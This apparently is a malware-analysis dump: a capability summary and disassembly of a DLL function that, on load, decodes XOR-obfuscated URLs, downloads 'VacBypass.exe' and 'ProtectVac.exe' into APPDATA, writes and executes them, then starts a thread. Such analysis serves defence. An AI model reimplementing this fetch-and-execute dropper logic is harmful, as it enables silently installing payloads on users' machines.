Function at 0x18003d964
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows
Create thread
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x20a0]
mov eax, 0x21a0
call fcn.180042a70
sub rsp, rax
mov r15, rcx
mov r12d, 1
cmp edx, r12d
jne 0x18003ded1
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wgetenv]
xor edi, edi
test rax, rax
je 0x18003dedf
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.18003e248
nop
lea r8, str.VacBypass.exe
mov rdx, rax
lea rcx, [rbp]
call fcn.18003dfe4
nop
lea rcx, [rbp + 0x20]
call fcn.18003e36c
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
lea rcx, str.WinHTTP_Example
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x18003dec6
lea r8, [rbp]
cmp qword [rbp + 0x18], 8
cmovae r8, qword [rbp]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
xor edx, edx
mov r14d, 0xfde9
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.18003e3d0
nop
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rax, qword [rbp - 0x40]
lea r8, [rbp]
cmp qword [rbp + 0x18], 8
cmovae r8, qword [rbp]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
or r9d, 0xffffffff
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rbp - 0x6c], 0x56005633
mov cl, 0x56
mov dword [rbp - 0x70], 0x2e337834
mov dword [rbp - 0x74], 0x20796267
mov dword [rbp - 0x78], 0x6267666e
mov dword [rbp - 0x7c], 0x63656566
mov dword [rbp - 0x80], 0x6f606f67
mov dword [rsp + 0x7c], 0x65606e67
mov dword [rsp + 0x78], 0x6779636f
mov dword [rsp + 0x74], 0x66656264
mov dword [rsp + 0x70], 0x62636760
mov dword [rsp + 0x6c], 0x61636f67
mov dword [rsp + 0x68], 0x65606e67
mov dword [rsp + 0x64], 0x67792522
mov dword [rsp + 0x60], 0x38333b3e
mov dword [rsp + 0x5c], 0x35372222
mov dword [rsp + 0x58], 0x37793b39
mov dword [rsp + 0x54], 0x35782626
mov dword [rsp + 0x50], 0x37322439
mov dword [rsp + 0x4c], 0x35253f32
mov dword [rsp + 0x48], 0x78383235
mov dword [rsp + 0x44], 0x79796c25
mov dword [rsp + 0x40], 0x2622223e
lea rax, [rsp + 0x40]
xor byte [rax], cl
add rax, r12
lea rcx, [rbp - 0x6a]
cmp rax, rcx
je 0x18003db4d
mov cl, byte [rbp - 0x69]
jmp 0x18003db3a
mov byte [rbp - 0x6a], r12b
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x18003db88
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18003debc
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rcx, qword [rbp - 0x40]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x18003dbf8
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18003db7a
mov r8d, dword [rbp + 0x20d8]
test r8d, r8d
je 0x18003dc16
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x68]
lea rdx, [rbp + 0xa0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
lea r9, [rbp + 0x20d8]
mov r8d, 0x1000
lea rdx, [rbp + 0xa0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18003dbd0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r8, qword [rbp - 0x40]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wgetenv]
test rax, rax
je 0x18003debc
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.18003e248
nop
lea r8, str.ProtectVac.exe
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.18003dfe4
nop
lea rcx, [rbp + 0x20]
call fcn.18003e36c
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
lea rcx, str.WinHTTP_Example
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x18003deb2
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 8
cmovae r8, qword [rbp - 0x20]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
xor edx, edx
mov r14d, 0xfde9
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.18003e3d0
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rax, qword [rbp - 0x60]
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 8
cmovae r8, qword [rbp - 0x20]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
or r9d, 0xffffffff
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rbp + 0x40]
call fcn.18003df00
mov rdx, rax
lea r8, [rax + 0x59]
cmp byte [r8], dil
jne 0x18003dd71
mov rcx, rax
cmp rax, r8
je 0x18003dd6e
mov al, byte [rdx + 0x5a]
xor byte [rcx], al
add rcx, r12
cmp rcx, r8
jne 0x18003dd61
mov byte [r8], r12b
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x18003dddb
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x18003de11
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x18003dea8
mov r8d, dword [rbp + 0x20e8]
test r8d, r8d
je 0x18003de2f
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x68]
lea rdx, [rbp + 0x10a0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
lea r9, [rbp + 0x20e8]
mov r8d, 0x1000
lea rdx, [rbp + 0x10a0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18003dde9
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r8, qword [rbp - 0x60]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov r9, r15
lea r8, [0x18003dfa8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18003dea8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x60]
call fcn.18000d094
nop
lea rcx, [rbp - 0x20]
call fcn.18003e36c
nop
lea rcx, [rbp - 0x40]
call fcn.18000d094
nop
lea rcx, [rbp]
call fcn.18003e36c
jmp 0x18003dedf
test edx, edx
jne 0x18003dedf
test r8, r8
jne 0x18003dedf
call fcn.18003fab0
mov eax, r12d
lea r11, [rsp + 0x21a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret